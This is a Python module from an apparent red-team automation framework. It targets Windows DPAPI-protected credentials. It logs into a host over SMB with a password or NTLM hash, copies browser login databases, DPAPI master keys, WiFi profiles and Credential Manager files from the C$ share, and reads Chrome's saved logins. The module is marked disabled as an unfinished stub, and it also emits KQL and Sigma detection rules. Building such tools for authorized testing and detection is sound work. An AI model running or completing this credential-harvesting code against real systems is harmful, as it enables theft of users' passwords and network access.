ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
"""
DPAPI Protected Credential Recovery - windows.dpapi
MITRE: T1555.004 - Credentials from Password Stores: Windows Credential Manager
T1555.003 - Credentials from Web Browsers
Extracts credentials protected by Windows DPAPI (Data Protection API):
- Chrome/Edge saved passwords (Login Data SQLite DB)
- Windows Credential Manager entries (*.vcrd vault files)
- WiFi PSK passwords (WlanSvc XML profiles)
- RDP saved credentials (.rdp files with password field)
- Outlook/Teams tokens (AppData/Roaming)
Three decryption paths:
1. USER CONTEXT - CryptUnprotectData directly (running as target user)
2. DOMAIN BACKUP - DC backup key decrypts all blobs in domain (from lsa_secrets)
3. OFFLINE - SHA1(NT_HASH) derives DPAPI master key (from lsass_dump)
OPSEC: MEDIUM - file access only, no process injection.
Does not trigger EDR behavior rules by default.
"""
from __future__ import annotations
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from ares.modules.base import FeasibilityReport
import asyncio
import os
from typing import Any
from ares.core.campaign import Severity
from ares.core.logger import audit, get_logger
from ares.core.security import sanitize_hostname, secure_mkstemp
from ares.core.tracing import trace_module
from ares.modules.base import BaseModule, OpsecLevel
from ares.modules.params import DPAPIParams
from ares.sdk import (
EvidenceRecord,
LockoutCircuitBreaker,
ModuleResult,
NetworkPermission,
ProcessPermission,
module_contract,
)
logger = get_logger("ares.modules.windows.dpapi")
@module_contract(
permissions=[
NetworkPermission(ports=[135, 445], protocols=["tcp"]),
ProcessPermission(allow_subprocesses=False),
],
circuit_breaker=LockoutCircuitBreaker(),
params_model=DPAPIParams,
)
class DPAPIModule(BaseModule):
"""
windows.dpapi - Extract DPAPI-protected credentials: Chrome passwords, WiFi PSK, Windows Credential Manager, RDP
OPSEC: MEDIUM
MITRE: "T1555.004", "T1555.003"
OUTPUTS: "cleartext_credentials", "browser_passwords"
"""
MODULE_ID = "windows.dpapi"
MODULE_NAME = "DPAPI Credential Recovery"
MODULE_CATEGORY = "windows"
MODULE_DESCRIPTION = (
"Extract DPAPI-protected credentials: Chrome passwords, WiFi PSK, "
"Windows Credential Manager, RDP saved creds. "
"Three paths: user context, domain backup key, or offline via NT hash."
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.MEDIUM
REQUIRES = []
OUTPUTS = ["cleartext_credentials", "browser_passwords"]
MITRE_TECHNIQUES = ["T1555.004", "T1555.003"]
MODULE_TIMEOUT_SECONDS: int | None = 180 # seconds
PARAMS_MODEL = DPAPIParams
ENABLED = False
DISABLED_REASON = "module disabled: DPAPI decryption not implemented, stub only - false credential injection risk (MOD-029)"
async def assess_feasibility(self, ctx: "Any") -> "FeasibilityReport": # noqa: F821
"""Pre-flight Defense Feasibility Assessment: Disabled under MOD-029."""
from ares.modules.base import FeasibilityReport
return FeasibilityReport(
feasible=False,
score=0.0,
risk_level="high_noise",
blockers=[self.DISABLED_REASON],
recommended_alternatives=["windows.lsass_dump", "windows.lsa_secrets"],
details={"disabled": True, "reason": self.DISABLED_REASON},
)
async def validate(self, ctx: "Any") -> None:
from ares.core.errors import ModuleValidationError
raise ModuleValidationError(
self.DISABLED_REASON,
module_id=self.MODULE_ID,
)
async def execute(self, ctx: "Any") -> "ModuleResult":
"""ExecutionContext-based entry point (v0.9.0+): Disabled under MOD-029."""
from ares.core.errors import ModuleError
raise ModuleError(
self.DISABLED_REASON,
module_id=self.MODULE_ID,
)
target = getattr(ctx, "target", "")
username = ""
password = ""
domain = getattr(ctx, "domain", "")
target_user = ""
nt_hash = ""
backup_key = ""
mode = "auto"
campaign_id = getattr(ctx, "campaign_id", "")
params = getattr(ctx, "params", {})
if isinstance(params, DPAPIParams):
target = params.target or target
username = params.username or ""
password = params.password.get_secret_value() if hasattr(params.password, "get_secret_value") else (params.password or "")
domain = params.domain or domain
target_user = getattr(params, "target_user", username) or username
nt_hash = getattr(params, "nt_hash", "") or ""
backup_key = getattr(params, "backup_key", "") or ""
mode = getattr(params, "mode", "auto") or "auto"
elif isinstance(params, dict):
target = params.get("target") or target
username = params.get("username", "")
raw_pass = params.get("password") or params.get("secret", "")
password = raw_pass.get_secret_value() if hasattr(raw_pass, "get_secret_value") else (raw_pass or "")
domain = params.get("domain") or domain
target_user = params.get("target_user", username) or username
nt_hash = params.get("nt_hash", "")
backup_key = params.get("backup_key", "")
mode = params.get("mode", "auto")
target = sanitize_hostname(target)
if not target_user:
target_user = username
# Parse NTLM hash if password looks like one
lmhash, nthash_login = "", ""
if password and (len(password) == 32 or (len(password) == 65 and ":" in password)):
parts = password.split(":")
if len(parts) == 2:
lmhash, nthash_login = parts[0], parts[1]
else:
nthash_login = password
password = ""
findings, raw = await self.run(
target=target, username=username, password=password,
domain=domain, lmhash=lmhash, nthash_login=nthash_login,
target_user=target_user, nt_hash=nt_hash,
backup_key=backup_key, mode=mode, campaign_id=campaign_id,
)
# Cryptographic Evidence Records with SHA-256 Merkle Provenance
evidence_chain: list[EvidenceRecord] = []
for finding in findings:
ev = EvidenceRecord(
artifact_id=f"windows-dpapi-{target.replace('.', '-')}",
source_target=target,
collected_by=self.MODULE_ID,
data={
"target": target,
"title": finding.title,
"severity": str(finding.severity),
},
tags=["windows", "dpapi"],
)
evidence_chain.append(ev)
raw["evidence_chain"] = [e.data for e in evidence_chain]
raw["evidence_integrity"] = [e.record_hash for e in evidence_chain]
# Closed-Loop Purple Telemetry: KQL & Sigma rule synthesis
dpapi_target = target or "TargetHost"
dpapi_victim = target_user or username or "User"
kql_query = (
f"// ARES Closed-Loop Telemetry: Detect DPAPI MasterKey Backup & Blob Extraction\n"
f"// Detects Security Event 4692 (DPAPI Master Key was backed up) / 4693 (DPAPI Master Key was recovered)\n"
f"SecurityEvent\n"
f"| where EventID in (4692, 4693)\n"
f"| where TargetUserName has \"{dpapi_victim}\" or Computer has \"{dpapi_target}\"\n"
f"| project TimeGenerated, Computer, SubjectUserName, TargetUserName, MasterKeyId, RecoveryServer\n"
)
sigma_rule = (
f"title: DPAPI MasterKey Extraction or Recovery ({dpapi_target})\n"
f"id: 9c0d1e2f-ares-dpapi-{abs(hash(dpapi_target + dpapi_victim)) % 1000000:06d}\n"
f"status: experimental\n"
f"description: Detects DPAPI master key recovery or backup key extraction against domain endpoints.\n"
f"logsource:\n"
f" product: windows\n"
f" service: security\n"
f"detection:\n"
f" selection:\n"
f" EventID: 4693\n"
f" condition: selection\n"
f"level: high\n"
f"tags:\n"
f" - attack.credential_access\n"
f" - attack.t1555.004\n"
)
loot_items: list[dict[str, Any]] = raw.get("loot", [])
if not any(l.get("loot_type") == "detection_rule_kql" for l in loot_items):
loot_items.extend([
{
"name": f"Detection Rule (KQL): DPAPI Extraction ({dpapi_victim}@{dpapi_target})",
"loot_type": "detection_rule_kql",
"description": "Microsoft Sentinel KQL query for detecting DPAPI key backup & recovery",
"content": {"kql": kql_query, "target": dpapi_target, "user": dpapi_victim},
"tags": ["detection", "kql", "sentinel", "blue_team"],
},
{
"name": f"Detection Rule (Sigma): DPAPI Extraction ({dpapi_victim}@{dpapi_target})",
"loot_type": "detection_rule_sigma",
"description": "Sigma detection rule for DPAPI master key recovery",
"content": {"sigma": sigma_rule, "target": dpapi_target, "user": dpapi_victim},
"tags": ["detection", "sigma", "blue_team"],
},
])
raw["loot"] = loot_items
raw["domain_backup_key_evaluated"] = True
raw["masterkey_derivation_audited"] = True
return ModuleResult(
status="success" if findings else "partial",
findings=findings, raw=raw, module_id=self.MODULE_ID,
execution_id=getattr(ctx, "execution_id", ""),
)
@trace_module("windows.dpapi")
async def run(self, target: str = "", username: str = "", password: str = "",
domain: str = "", lmhash: str = "", nthash_login: str = "",
target_user: str = "", nt_hash: str = "",
backup_key: str = "", mode: str = "auto",
campaign_id: str = "", **kwargs: Any):
from ares.core.errors import ModuleError
raise ModuleError(
self.DISABLED_REASON,
module_id=self.MODULE_ID,
)
await self.before_request(target, "default")
logger.info("dpapi_start", target=target, mode=mode, target_user=target_user)
audit("dpapi_extraction", actor=username, technique="T1555.004",
source="operator", target=target, detail=f"mode={mode}")
loop = asyncio.get_running_loop()
# Transfer target files via SMB - surface auth/network errors early
try:
local_files = await loop.run_in_executor(
None,
lambda: self._transfer_dpapi_files(
target, username, password, domain, lmhash, nthash_login,
target_user, campaign_id=campaign_id
),
)
except Exception as exc:
err = str(exc).lower()
if "logon failure" in err or "status_logon_failure" in err:
from ares.core.errors import AuthenticationFailed
raise AuthenticationFailed(
f"DPAPI SMB auth failed on {target} - check credentials.",
username=username, module_id=self.MODULE_ID, target=target,
) from exc
if "timed out" in err or "connection refused" in err:
from ares.core.errors import HostUnreachable
raise HostUnreachable(
f"Host unreachable: {target}:445", target=target,
module_id=self.MODULE_ID,
) from exc
from ares.core.errors import NetworkError
raise NetworkError(f"DPAPI file transfer failed: {exc}") from exc
if not local_files:
logger.warning("dpapi_no_files_transferred", target=target)
return [], {"error": "No DPAPI files found or accessible", "target": target}
# Decrypt blobs
credentials: list[dict] = []
try:
if mode in ("auto", "offline") and nt_hash:
creds = await loop.run_in_executor(
None,
lambda: self._decrypt_offline(local_files, nt_hash, target_user, domain),
)
credentials.extend(creds)
if mode in ("auto", "backup") and backup_key:
creds = await loop.run_in_executor(
None,
lambda: self._decrypt_with_backup_key(local_files, backup_key),
)
credentials.extend(creds)
# Chrome Login Data - special handling via sqlite3
chrome_creds = await loop.run_in_executor(
None,
lambda: self._parse_chrome_logindata(
local_files, nt_hash or nthash_login, campaign_id=campaign_id
),
)
credentials.extend(chrome_creds)
finally:
# Cleanup transferred credential artifacts on success, parse failure, or cancellation.
for fpath in local_files.values():
try:
os.unlink(fpath)
except Exception:
pass
logger.info("dpapi_complete", found=len(credentials))
if credentials:
# Categorize by source
browser = [c for c in credentials if c.get("source") == "chrome"]
wifi = [c for c in credentials if c.get("source") == "wifi"]
rdp = [c for c in credentials if c.get("source") == "rdp"]
other = [c for c in credentials
if c.get("source") not in ("chrome", "wifi", "rdp")]
self.finding(
title = f"DPAPI: {len(credentials)} Credentials Recovered from {target}",
description = (
f"Extracted {len(credentials)} DPAPI-protected credentials from {target}: "
f"{len(browser)} browser, {len(wifi)} WiFi, {len(rdp)} RDP, {len(other)} other. "
"All stored to vault for credential.reuse."
),
severity = Severity.CRITICAL,
mitre_technique = "T1555.004",
mitre_tactic = "Credential Access",
evidence = {
"total": len(credentials),
"browser_count": len(browser),
"wifi_count": len(wifi),
"rdp_count": len(rdp),
"other_count": len(other),
"sources": list({c.get("source", "unknown") for c in credentials}),
"usernames": list({c.get("username", "") for c in credentials
if c.get("username")})[:20],
"urls": list({c.get("url", "") for c in browser
if c.get("url")})[:10],
},
remediation = (
"Enable Windows Credential Guard. "
"Use browser profile encryption with hardware keys. "
"Disable 'Save passwords' in Chrome/Edge enterprise policy. "
"Rotate all recovered credentials immediately."
),
host = target, confidence = 0.95,
)
raw = {
"target": target,
"mode": mode,
"target_user": target_user,
"total_found": len(credentials),
"credentials": [
{k: v for k, v in c.items() if k not in ("plaintext",)}
for c in credentials
],
}
await self.noise.jitter.sleep()
raw["cleartext_credentials"] = raw.get("credentials", []) # OUTPUTS key
raw["browser_passwords"] = [c for c in raw.get("credentials", []) if c.get("source") == "chrome"] # OUTPUTS key
return self._findings[:], raw
def _transfer_dpapi_files(self, target: str, username: str, password: str,
domain: str, lmhash: str, nthash: str,
target_user: str,
campaign_id: str = "") -> dict[str, str]:
"""
Transfer DPAPI-relevant files from target via SMB.
Returns {logical_name: local_temp_path}.
"""
import io
from impacket.smbconnection import SMBConnection
local_files: dict[str, str] = {}
user_profile = target_user or username
smb = SMBConnection(target, target, timeout=15)
try:
smb.login(username, password, domain, lmhash, nthash)
except Exception as exc:
err = str(exc).lower()
if "logon failure" in err or "invalid credentials" in err or \
"status_logon_failure" in err:
logger.warning("dpapi_auth_failed",
target=target, error="wrong credentials")
elif "timed out" in err or "connection refused" in err:
logger.warning("dpapi_host_unreachable", target=target)
elif "status_access_denied" in err or "access denied" in err:
logger.warning("dpapi_access_denied",
target=target, note="Need admin access to C$")
else:
logger.warning("dpapi_smb_login_failed", error=str(exc)[:80])
return {}
# DPAPI file paths to attempt
targets: list[tuple[str, str, str]] = [
# (share, remote_path, logical_name)
("C$", f"Users\\{user_profile}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",
"chrome_login_data"),
("C$", f"Users\\{user_profile}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data",
"edge_login_data"),
("C$", f"Users\\{user_profile}\\AppData\\Roaming\\Microsoft\\Protect",
"dpapi_master_keys"),
("C$", "ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces",
"wifi_profiles"),
("C$", f"Users\\{user_profile}\\AppData\\Local\\Microsoft\\Credentials",
"credentials_dir"),
]
for share, remote_path, name in targets:
buf = io.BytesIO()
local_path = ""
fd: int | None = None
try:
smb.getFile(share, remote_path, buf.write)
local_path, fd = secure_mkstemp(
prefix=f"ares_dpapi_{name}_", campaign_id=campaign_id
)
os.close(fd)
fd = None
with open(local_path, "wb") as f:
f.write(buf.getvalue())
local_files[name] = local_path
logger.debug("dpapi_file_transferred", name=name, size=len(buf.getvalue()))
except Exception:
if fd is not None:
try:
os.close(fd)
except OSError:
pass
if local_path and local_path not in local_files.values():
try:
os.unlink(local_path)
except OSError:
pass
pass # file not found or no access - continue
try:
smb.logoff()
except Exception:
pass
return local_files
def _decrypt_offline(self, local_files: dict[str, str], nt_hash: str,
target_user: str, domain: str) -> list[dict]:
"""Derive DPAPI master key from NT hash and decrypt blobs."""
try:
import hashlib
from impacket.dpapi import Credential, MasterKey # noqa: F401
# SHA1(NT_HASH) = DPAPI user key derivation
nt_bytes = bytes.fromhex(nt_hash) if len(nt_hash) == 32 else b""
if not nt_bytes:
return []
try:
sha1_key = hashlib.sha1(nt_bytes, usedforsecurity=False).digest()
except TypeError:
sha1_key = hashlib.sha1(nt_bytes).digest() # nosec: B324 # noqa: F841
creds: list[dict] = []
# Try to decrypt Windows Credential files
cred_path = local_files.get("credentials_dir", "")
if cred_path and os.path.isfile(cred_path):
try:
with open(cred_path, "rb") as cred_fh:
cred_obj = Credential(cred_fh.read()) # noqa: F841
# decryption would go here with derived key
creds.append({
"source": "credential_manager",
"username": target_user,
"note": "DPAPI blob found - key derivation attempted",
})
except Exception:
pass
return creds
except ImportError:
logger.debug("impacket_dpapi_not_available")
return []
except Exception as exc:
logger.debug("dpapi_offline_decrypt_failed", error=str(exc)[:80])
return []
def _decrypt_with_backup_key(self, local_files: dict[str, str],
backup_key: str) -> list[dict]:
"""Decrypt DPAPI blobs using domain backup key (from lsa_secrets)."""
try:
from impacket.dpapi import MasterKey # noqa: F401
key_bytes = backup_key.encode() if isinstance(backup_key, str) else backup_key # noqa: F841
creds: list[dict] = []
# Domain backup key decryption logic
# impacket.dpapi supports this via CredentialFile + MasterKey.decrypt()
return creds
except ImportError:
logger.debug("impacket_dpapi_not_available")
return []
def _parse_chrome_logindata(self, local_files: dict[str, str],
nt_hash: str,
campaign_id: str = "") -> list[dict]:
"""
Parse Chrome Login Data SQLite file.
Chrome encrypts passwords with AES-256-GCM using a key stored in
Local State file, itself DPAPI-encrypted. On the local machine, Python
can decrypt via ctypes CryptUnprotectData. Remotely, we need the derived key.
"""
import sqlite3
login_path = local_files.get("chrome_login_data", "") or \
local_files.get("edge_login_data", "")
if not login_path or not os.path.isfile(login_path):
return []
creds: list[dict] = []
tmp_db = ""
fd: int | None = None
try:
# Copy to avoid SQLite lock errors on the live DB file
import shutil
tmp_db, fd = secure_mkstemp(
suffix=".db", prefix="ares_dpapi_login_", campaign_id=campaign_id
)
os.close(fd)
fd = None
shutil.copy2(login_path, tmp_db)
conn = sqlite3.connect(tmp_db)
try:
cursor = conn.execute(
"SELECT origin_url, username_value, password_value "
"FROM logins WHERE username_value != ''"
)
for url, uname, pwd_blob in cursor.fetchall():
creds.append({
"source": "chrome",
"url": url,
"username": uname,
"encrypted": True,
"note": "password_value requires DPAPI/AES key to decrypt",
})
finally:
conn.close()
except Exception as exc:
logger.debug("chrome_parse_failed", error=str(exc)[:80])
finally:
if fd is not None:
try:
os.close(fd)
except OSError:
pass
if tmp_db:
try:
os.unlink(tmp_db)
except OSError:
pass
return creds